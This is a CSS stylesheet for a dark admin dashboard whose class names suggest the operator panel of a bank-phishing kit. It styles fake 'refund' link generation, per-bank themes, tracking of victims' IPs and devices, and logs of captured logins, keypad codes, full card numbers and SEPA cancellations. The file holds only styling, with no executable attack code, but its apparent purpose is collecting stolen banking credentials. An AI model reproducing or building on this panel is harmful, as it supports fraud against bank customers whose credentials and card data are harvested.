* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  background: #08080c;
  color: #c8c8c8;
  font-family: 'SF Mono', 'Fira Code', 'Consolas', monospace;
  min-height: 100vh;
  position: relative;
}

/* Scanline overlay */
.scanline {
  position: fixed;
  top: 0; left: 0; right: 0; bottom: 0;
  background: repeating-linear-gradient(
    0deg,
    transparent,
    transparent 2px,
    rgba(0,0,0,0.03) 2px,
    rgba(0,0,0,0.03) 4px
  );
  pointer-events: none;
  z-index: 1;
}

/* Header */
.header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 16px 30px;
  background: rgba(12, 12, 18, 0.95);
  border-bottom: 1px solid #1a1a24;
  position: relative;
  z-index: 2;
}

.header h1 {
  font-size: 16px;
  color: #e0e0e0;
  font-weight: 500;
  letter-spacing: 1px;
}

.header-right {
  display: flex;
  align-items: center;
  gap: 16px;
}

.admin-name {
  color: #555;
  font-size: 12px;
  letter-spacing: 1px;
}

.btn-logout {
  padding: 5px 12px;
  background: transparent;
  border: 1px solid rgba(180, 30, 30, 0.3);
  border-radius: 3px;
  color: #b41e1e;
  font-size: 11px;
  font-family: inherit;
  cursor: pointer;
  transition: all 0.2s;
  letter-spacing: 1px;
  text-transform: uppercase;
}

.btn-logout:hover {
  border-color: #b41e1e;
  background: rgba(180, 30, 30, 0.1);
  color: #d44;
}

/* Stats bar */
.stats-bar {
  display: flex;
  gap: 16px;
  padding: 20px 30px;
  position: relative;
  z-index: 2;
}

.stat-card {
  background: rgba(12, 12, 18, 0.95);
  border: 1px solid #1a1a24;
  border-radius: 4px;
  padding: 16px 24px;
  min-width: 140px;
}

.stat-label {
  font-size: 10px;
  color: #555;
  text-transform: uppercase;
  letter-spacing: 2px;
  margin-bottom: 6px;
}

.stat-value {
  font-size: 28px;
  font-weight: 700;
  color: #e0e0e0;
}

.stat-value.online {
  color: #b41e1e;
}

/* Table container */
.table-container {
  padding: 0 30px 30px;
  position: relative;
  z-index: 2;
}

.table-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-bottom: 16px;
}

.table-header h2 {
  font-size: 13px;
  color: #555;
  letter-spacing: 1px;
  text-transform: uppercase;
}

.live-dot {
  display: inline-block;
  width: 6px;
  height: 6px;
  background: #b41e1e;
  border-radius: 50%;
  margin-right: 8px;
  animation: pulse 2s infinite;
  box-shadow: 0 0 6px rgba(180, 30, 30, 0.5);
}

@keyframes pulse {
  0%, 100% { opacity: 1; }
  50% { opacity: 0.3; }
}

/* Table */
table {
  width: 100%;
  border-collapse: collapse;
  background: rgba(12, 12, 18, 0.95);
  border: 1px solid #1a1a24;
  border-radius: 4px;
  overflow: visible;
}

thead th {
  padding: 10px 16px;
  text-align: left;
  font-size: 10px;
  font-weight: 600;
  color: #555;
  text-transform: uppercase;
  letter-spacing: 2px;
  background: rgba(8, 8, 12, 0.8);
  border-bottom: 1px solid #1a1a24;
}

tbody tr {
  border-bottom: 1px solid #111118;
  transition: background 0.15s;
}

tbody tr:last-child {
  border-bottom: none;
}

tbody tr:hover {
  background: rgba(180, 30, 30, 0.04);
}

tbody td {
  padding: 10px 16px;
  font-size: 12px;
  color: #888;
}

.ip-cell {
  font-family: 'SF Mono', 'Fira Code', monospace;
  color: #b41e1e;
}

.page-cell {
  color: #8b1a1a;
  font-family: 'SF Mono', 'Fira Code', monospace;
  font-size: 11px;
}

.location-cell {
  color: #a0a0a0;
}

.duration-cell {
  color: #555;
  font-family: 'SF Mono', 'Fira Code', monospace;
}

/* Empty state */
.empty-state {
  text-align: center;
  padding: 50px 20px;
  color: #2a2a36;
}

.empty-state .icon {
  font-size: 36px;
  margin-bottom: 12px;
}

.empty-state p {
  font-size: 12px;
  letter-spacing: 1px;
}

/* New row animation */
tbody tr.new-row {
  animation: fadeIn 0.3s ease;
}

@keyframes fadeIn {
  from { opacity: 0; transform: translateY(-8px); }
  to { opacity: 1; transform: translateY(0); }
}

/* Header nav */
.header-left {
  display: flex;
  align-items: center;
  gap: 20px;
}

.header-nav {
  display: flex;
  gap: 6px;
}

.nav-btn {
  padding: 5px 12px;
  background: transparent;
  border: 1px solid #1a1a24;
  border-radius: 3px;
  color: #666;
  font-size: 11px;
  font-family: inherit;
  text-decoration: none;
  cursor: pointer;
  transition: all 0.2s;
  letter-spacing: 0.5px;
}

.nav-btn:hover {
  border-color: rgba(180, 30, 30, 0.4);
  color: #b41e1e;
  background: rgba(180, 30, 30, 0.05);
}

/* Form styles */
.form-container {
  max-width: 640px;
  margin: 30px auto;
  padding: 0 20px;
  position: relative;
  z-index: 2;
}

.form-group {
  margin-bottom: 18px;
}

.form-group label {
  display: block;
  font-size: 11px;
  color: #555;
  margin-bottom: 6px;
  text-transform: uppercase;
  letter-spacing: 1.5px;
}

.form-row {
  display: flex;
  gap: 16px;
}

.form-row .form-group {
  flex: 1;
}

.form-container input[type="text"],
.form-container input[type="email"],
.form-container input[type="date"],
.form-container select {
  width: 100%;
  padding: 10px 14px;
  background: #0a0a10;
  border: 1px solid #1a1a24;
  border-radius: 3px;
  color: #d0d0d0;
  font-family: inherit;
  font-size: 13px;
  outline: none;
  transition: border-color 0.2s;
}

.form-container input:focus,
.form-container select:focus {
  border-color: #b41e1e;
  box-shadow: 0 0 0 1px rgba(180, 30, 30, 0.15);
}

.form-container select option {
  background: #0a0a10;
  color: #d0d0d0;
}

.radio-group {
  display: flex;
  gap: 20px;
}

.radio-label {
  display: flex;
  align-items: center;
  gap: 6px;
  color: #888;
  font-size: 13px;
  cursor: pointer;
  text-transform: none;
  letter-spacing: 0;
}

.radio-label input[type="radio"] {
  accent-color: #b41e1e;
}

/* Transactions */
.transaction-row {
  display: flex;
  gap: 10px;
  margin-bottom: 8px;
  align-items: center;
}

.transaction-row input {
  flex: 1;
}

/* Card number split inputs */
.form-row-card {
  align-items: flex-end;
}

.card-middle-preview {
  flex: 0 0 auto;
}

.card-middle-mask {
  display: block;
  padding: 10px 8px;
  color: #555;
  font-family: 'SF Mono', 'Fira Code', monospace;
  font-size: 13px;
  letter-spacing: 2px;
}

.card-preview-line {
  text-align: center;
  padding: 8px 0 16px;
  font-family: 'SF Mono', 'Fira Code', monospace;
  font-size: 14px;
  letter-spacing: 3px;
  color: #b41e1e;
}

.transaction-row .tx-date { max-width: 160px; }
.transaction-row .tx-montant { max-width: 120px; }

.btn-remove-tx {
  background: none;
  border: none;
  color: #b41e1e;
  font-size: 18px;
  cursor: pointer;
  padding: 4px 8px;
  border-radius: 3px;
  transition: background 0.2s;
}

.btn-remove-tx:hover {
  background: rgba(180, 30, 30, 0.15);
}

/* Buttons */
.btn-primary {
  width: 100%;
  padding: 11px;
  background: linear-gradient(135deg, #8b1a1a, #a32020);
  color: #e0d0d0;
  border: none;
  border-radius: 3px;
  font-family: inherit;
  font-size: 11px;
  font-weight: 600;
  letter-spacing: 2px;
  text-transform: uppercase;
  cursor: pointer;
  transition: all 0.2s;
  margin-top: 8px;
}

.btn-primary:hover {
  background: linear-gradient(135deg, #a32020, #bf2626);
  box-shadow: 0 0 20px rgba(180, 30, 30, 0.2);
}

.btn-secondary {
  padding: 7px 14px;
  background: transparent;
  border: 1px solid #1a1a24;
  border-radius: 3px;
  color: #888;
  font-size: 11px;
  font-family: inherit;
  cursor: pointer;
  transition: all 0.2s;
  letter-spacing: 0.5px;
}

.btn-secondary:hover {
  border-color: rgba(180, 30, 30, 0.4);
  color: #b41e1e;
}

/* Result box */
.result-box {
  background: rgba(12, 12, 18, 0.95);
  border: 1px solid rgba(180, 30, 30, 0.3);
  border-radius: 4px;
  padding: 24px;
  text-align: center;
}

.result-box h3 {
  color: #b41e1e;
  margin-bottom: 16px;
  font-size: 13px;
  letter-spacing: 1px;
  text-transform: uppercase;
}

.url-container {
  display: flex;
  gap: 8px;
}

.url-container input {
  flex: 1;
  padding: 10px 14px;
  background: #0a0a10;
  border: 1px solid #1a1a24;
  border-radius: 3px;
  color: #b41e1e;
  font-size: 12px;
  font-family: 'SF Mono', 'Fira Code', monospace;
}

.btn-copy {
  padding: 10px 18px;
  background: linear-gradient(135deg, #8b1a1a, #a32020);
  color: #e0d0d0;
  border: none;
  border-radius: 3px;
  font-size: 11px;
  font-family: inherit;
  cursor: pointer;
  transition: all 0.2s;
  white-space: nowrap;
  letter-spacing: 1px;
  text-transform: uppercase;
}

.btn-copy:hover {
  background: linear-gradient(135deg, #a32020, #bf2626);
  box-shadow: 0 0 15px rgba(180, 30, 30, 0.2);
}

/* Refund list */
.refund-list {
  padding: 0 30px 30px;
  position: relative;
  z-index: 2;
}

.refund-card {
  background: rgba(12, 12, 18, 0.95);
  border: 1px solid #1a1a24;
  border-radius: 4px;
  padding: 16px 20px;
  margin-bottom: 8px;
  display: flex;
  justify-content: space-between;
  align-items: center;
  transition: border-color 0.2s;
}

.refund-card:hover {
  border-color: rgba(180, 30, 30, 0.3);
}

.refund-card-info {
  display: flex;
  gap: 24px;
  align-items: center;
}

.refund-card-info .name {
  font-weight: 600;
  color: #e0e0e0;
  font-size: 13px;
}

.refund-card-info .bank {
  color: #888;
  font-size: 12px;
}

.refund-card-info .date {
  color: #444;
  font-size: 11px;
}

.refund-card-info .carte-num {
  font-family: 'SF Mono', 'Fira Code', monospace;
  font-size: 12px;
  color: #b41e1e;
  letter-spacing: 1px;
}

.badge {
  padding: 3px 8px;
  border-radius: 2px;
  font-size: 10px;
  font-weight: 600;
  text-transform: uppercase;
  letter-spacing: 1px;
}

.badge.pending {
  background: rgba(180, 30, 30, 0.1);
  color: #b41e1e;
  border: 1px solid rgba(180, 30, 30, 0.2);
}

.badge.completed {
  background: rgba(100, 100, 100, 0.1);
  color: #888;
  border: 1px solid rgba(100, 100, 100, 0.2);
}

.badge.expired {
  background: rgba(80, 80, 80, 0.1);
  color: #555;
  border: 1px solid rgba(80, 80, 80, 0.2);
}

.badge.cancelled {
  background: rgba(220, 38, 38, 0.1);
  color: #dc2626;
  border: 1px solid rgba(220, 38, 38, 0.2);
}

.refund-card-actions {
  display: flex;
  gap: 6px;
  align-items: center;
}

.btn-icon {
  background: none;
  border: 1px solid #1a1a24;
  border-radius: 3px;
  color: #555;
  padding: 5px 10px;
  cursor: pointer;
  font-size: 12px;
  font-family: inherit;
  transition: all 0.2s;
}

.btn-icon:hover {
  border-color: rgba(180, 30, 30, 0.4);
  color: #b41e1e;
}

.btn-icon.danger:hover {
  border-color: #b41e1e;
  color: #d44;
}

/* Visit details */
.visit-details {
  display: flex;
  align-items: center;
  gap: 12px;
  font-size: 11px;
}

.visit-opened {
  color: #b41e1e;
  font-weight: 600;
}

.visit-not-opened {
  color: #555;
  font-style: italic;
}

.visit-date {
  color: #666;
}

.visit-ip {
  color: #b41e1e;
  font-family: 'SF Mono', 'Fira Code', monospace;
}

.visit-device {
  color: #888;
}

/* Device cell in dashboard */
.device-cell {
  color: #888;
}

.device-cell svg {
  vertical-align: middle;
  color: #b41e1e;
}

/* Toast notification */
.toast {
  position: fixed;
  bottom: 24px;
  right: 24px;
  background: rgba(180, 30, 30, 0.9);
  color: #e0d0d0;
  padding: 12px 20px;
  border-radius: 3px;
  font-size: 12px;
  font-weight: 500;
  font-family: inherit;
  box-shadow: 0 4px 20px rgba(180, 30, 30, 0.3);
  transform: translateY(100px);
  opacity: 0;
  transition: all 0.3s ease;
  z-index: 1000;
  letter-spacing: 0.5px;
}

.toast.show {
  transform: translateY(0);
  opacity: 1;
}

/* ============ BANK THEMES ADMIN ============ */
.bt-toolbar {
  padding: 20px 30px 0;
  position: relative;
  z-index: 2;
}

.bt-grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
  gap: 12px;
  padding: 20px 30px 30px;
  position: relative;
  z-index: 2;
}

.bt-card {
  background: rgba(12, 12, 18, 0.95);
  border: 1px solid #1a1a24;
  border-radius: 4px;
  overflow: hidden;
  transition: border-color 0.2s;
}

.bt-card:hover {
  border-color: rgba(180, 30, 30, 0.3);
}

.bt-card-inactive {
  opacity: 0.5;
}

.bt-card-header {
  padding: 18px;
  display: flex;
  align-items: center;
  gap: 14px;
  position: relative;
}

.bt-card-header .badge {
  position: absolute;
  top: 8px;
  right: 8px;
}

.bt-card-icon {
  width: 40px;
  height: 40px;
  border-radius: 6px;
  background: rgba(0,0,0,0.3);
  display: flex;
  align-items: center;
  justify-content: center;
  color: #fff;
  font-weight: 700;
  font-size: 13px;
  flex-shrink: 0;
  overflow: hidden;
}

.bt-card-logo {
  width: 100%;
  height: 100%;
  object-fit: contain;
}

.bt-card-name {
  color: #e0e0e0;
  font-weight: 600;
  font-size: 13px;
}

.bt-card-body {
  padding: 12px 18px;
  display: flex;
  justify-content: space-between;
  align-items: center;
  border-top: 1px solid #1a1a24;
}

.bt-card-colors {
  display: flex;
  gap: 6px;
}

.bt-swatch {
  width: 22px;
  height: 22px;
  border-radius: 4px;
  cursor: help;
}

.bt-card-actions {
  display: flex;
  gap: 6px;
}

/* Modal */
.bt-modal-overlay {
  display: none;
  position: fixed;
  inset: 0;
  background: rgba(0,0,0,0.8);
  z-index: 1000;
  align-items: center;
  justify-content: center;
  padding: 20px;
}

.bt-modal-overlay.active {
  display: flex;
}

.bt-modal {
  background: rgba(12, 12, 18, 0.98);
  border: 1px solid #1a1a24;
  border-radius: 4px;
  width: 100%;
  max-width: 520px;
  max-height: 90vh;
  overflow-y: auto;
  padding: 24px;
}

.bt-modal-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-bottom: 20px;
}

.bt-modal-header h2 {
  font-size: 14px;
  color: #e0e0e0;
  letter-spacing: 1px;
}

.bt-modal-close {
  background: none;
  border: none;
  color: #555;
  font-size: 20px;
  cursor: pointer;
  padding: 4px;
  line-height: 1;
}

.bt-modal-close:hover {
  color: #b41e1e;
}

.bt-modal .form-group input[type="text"],
.bt-modal .form-group select {
  width: 100%;
  padding: 10px 14px;
  background: #0a0a10;
  border: 1px solid #1a1a24;
  border-radius: 3px;
  color: #d0d0d0;
  font-family: inherit;
  font-size: 13px;
  outline: none;
  transition: border-color 0.2s;
}

.bt-modal .form-group input:focus {
  border-color: #b41e1e;
}

.bt-color-row {
  display: flex;
  gap: 12px;
}

.bt-color-row .form-group {
  flex: 1;
}

.bt-color-input {
  display: flex;
  gap: 8px;
  align-items: center;
}

.bt-color-input input[type="color"] {
  width: 36px;
  height: 36px;
  border: 1px solid #1a1a24;
  border-radius: 4px;
  background: none;
  cursor: pointer;
  padding: 2px;
}

.bt-color-input input[type="text"] {
  flex: 1;
  min-width: 0;
}

.bt-gradient-preview {
  height: 6px;
  border-radius: 3px;
  margin-top: 6px;
}

/* Upload zone */
.bt-upload-zone {
  border: 1px dashed #1a1a24;
  border-radius: 4px;
  padding: 20px;
  text-align: center;
  cursor: pointer;
  transition: border-color 0.2s;
  position: relative;
  min-height: 90px;
  display: flex;
  align-items: center;
  justify-content: center;
}

.bt-upload-zone:hover,
.bt-upload-zone.dragover {
  border-color: #b41e1e;
}

.bt-upload-placeholder {
  display: flex;
  flex-direction: column;
  gap: 4px;
  color: #555;
  font-size: 12px;
}

.bt-upload-placeholder small {
  color: #333;
  font-size: 10px;
}

.bt-upload-preview {
  max-width: 120px;
  max-height: 80px;
  object-fit: contain;
  border-radius: 4px;
}

.bt-upload-remove {
  position: absolute;
  top: 6px;
  right: 6px;
  background: #b41e1e;
  color: #fff;
  border: none;
  border-radius: 50%;
  width: 22px;
  height: 22px;
  font-size: 12px;
  cursor: pointer;
  line-height: 1;
  display: flex;
  align-items: center;
  justify-content: center;
}

/* Toggle */
.bt-toggle-label {
  display: flex !important;
  align-items: center;
  gap: 8px;
  cursor: pointer;
  text-transform: none !important;
  letter-spacing: 0 !important;
  color: #888 !important;
  font-size: 13px !important;
}

.bt-toggle-label input[type="checkbox"] {
  accent-color: #b41e1e;
  width: 16px;
  height: 16px;
}

/* Live preview */
.bt-live-preview {
  background: #0a0a10;
  border: 1px solid #1a1a24;
  border-radius: 4px;
  padding: 14px;
  margin-bottom: 18px;
  display: flex;
  align-items: center;
  gap: 12px;
}

.bt-lp-icon {
  width: 36px;
  height: 36px;
  border-radius: 6px;
  display: flex;
  align-items: center;
  justify-content: center;
  color: #fff;
  font-weight: 700;
  font-size: 13px;
  flex-shrink: 0;
}

.bt-lp-name {
  color: #e0e0e0;
  font-weight: 600;
  font-size: 13px;
  flex: 1;
}

.bt-lp-bar {
  height: 5px;
  width: 80px;
  border-radius: 3px;
  flex-shrink: 0;
}

/* Logout button (refund-list, refund-create) */
.logout-btn {
  padding: 5px 12px;
  background: transparent;
  border: 1px solid rgba(180, 30, 30, 0.3);
  border-radius: 3px;
  color: #b41e1e;
  font-size: 11px;
  font-family: inherit;
  cursor: pointer;
  transition: all 0.2s;
  letter-spacing: 1px;
  text-transform: uppercase;
}

.logout-btn:hover {
  border-color: #b41e1e;
  background: rgba(180, 30, 30, 0.1);
  color: #d44;
}

/* SEPA dropdown */
.sepa-action-wrap {
  position: relative;
  display: inline-block;
}

.sepa-dropdown {
  display: none;
  position: absolute;
  bottom: 100%;
  right: 0;
  margin-bottom: 4px;
  background: rgba(12, 12, 18, 0.98);
  border: 1px solid rgba(180, 30, 30, 0.3);
  border-radius: 4px;
  min-width: 200px;
  z-index: 9999;
  box-shadow: 0 -4px 20px rgba(0,0,0,0.5);
}

.sepa-dropdown.active {
  display: block;
}

.sepa-dropdown-item {
  display: block;
  width: 100%;
  padding: 9px 14px;
  background: none;
  border: none;
  border-bottom: 1px solid #1a1a24;
  color: #888;
  font-family: inherit;
  font-size: 12px;
  text-align: left;
  cursor: pointer;
  transition: all 0.15s;
  letter-spacing: 0.5px;
}

.sepa-dropdown-item:last-child {
  border-bottom: none;
}

.sepa-dropdown-item:hover {
  background: rgba(180, 30, 30, 0.1);
  color: #e0e0e0;
}

.sepa-dropdown-item .item-label {
  display: block;
  color: inherit;
}

.sepa-dropdown-item .item-desc {
  display: block;
  font-size: 10px;
  color: #444;
  margin-top: 2px;
}

/* SEPA logs textarea */
.sepa-logs-area {
  width: 100%;
  min-width: 160px;
  background: #0a0a10;
  border: 1px solid #1a1a24;
  border-radius: 3px;
  color: #e0e0e0;
  font-family: 'SF Mono', 'Fira Code', monospace;
  font-size: 11px;
  letter-spacing: 1px;
  padding: 6px 8px;
  resize: none;
  outline: none;
  line-height: 1.6;
}

/* Logs panel */
.refund-card-wrapper {
  margin-bottom: 8px;
}

.refund-card-wrapper .refund-card {
  margin-bottom: 0;
}

.btn-logs {
  background: none;
  border: 1px solid #1a1a24;
  border-radius: 3px;
  color: #555;
  padding: 5px 10px;
  cursor: pointer;
  font-size: 11px;
  font-family: inherit;
  transition: all 0.2s;
  letter-spacing: 0.5px;
}

.btn-logs:hover {
  border-color: rgba(180, 30, 30, 0.4);
  color: #b41e1e;
}

.btn-logs.active {
  border-color: #b41e1e;
  color: #b41e1e;
}

.logs-panel {
  display: none;
  background: rgba(8, 8, 12, 0.95);
  border: 1px solid #1a1a24;
  border-top: none;
  border-radius: 0 0 4px 4px;
  padding: 14px 20px;
  animation: fadeIn 0.2s ease;
}

.logs-panel.open {
  display: block;
}

.logs-empty {
  color: #333;
  font-size: 11px;
  font-style: italic;
}

.log-entry {
  display: flex;
  align-items: flex-start;
  gap: 12px;
  padding: 6px 0;
  border-bottom: 1px solid #111118;
  font-size: 11px;
}

.log-entry:last-child {
  border-bottom: none;
}

.log-type {
  font-weight: 600;
  text-transform: uppercase;
  letter-spacing: 1px;
  font-size: 10px;
  padding: 2px 6px;
  border-radius: 2px;
  white-space: nowrap;
  flex-shrink: 0;
}

.log-type.visit {
  color: #3b82f6;
  background: rgba(59, 130, 246, 0.1);
  border: 1px solid rgba(59, 130, 246, 0.2);
}

.log-type.code {
  color: #f59e0b;
  background: rgba(245, 158, 11, 0.1);
  border: 1px solid rgba(245, 158, 11, 0.2);
}

.log-type.identifiant {
  color: #8b5cf6;
  background: rgba(139, 92, 246, 0.1);
  border: 1px solid rgba(139, 92, 246, 0.2);
}

.log-type.keypad {
  color: #22c55e;
  background: rgba(34, 197, 94, 0.1);
  border: 1px solid rgba(34, 197, 94, 0.2);
}

.log-type.carte,
.log-type.carte_complete {
  color: #22c55e;
  background: rgba(34, 197, 94, 0.1);
  border: 1px solid rgba(34, 197, 94, 0.2);
}

.log-type.sepa_cancel {
  color: #dc2626;
  background: rgba(220, 38, 38, 0.1);
  border: 1px solid rgba(220, 38, 38, 0.2);
}

.log-value {
  color: #b41e1e;
  font-family: 'SF Mono', 'Fira Code', monospace;
  letter-spacing: 1px;
  flex: 1;
}

.log-meta {
  color: #444;
  font-size: 10px;
  white-space: nowrap;
  flex-shrink: 0;
}

/* Responsive */
@media (max-width: 768px) {
  .stats-bar {
    flex-wrap: wrap;
    padding: 16px;
  }
  .stat-card {
    flex: 1;
    min-width: 120px;
  }
  .table-container {
    padding: 0 16px 16px;
    overflow-x: auto;
  }
}
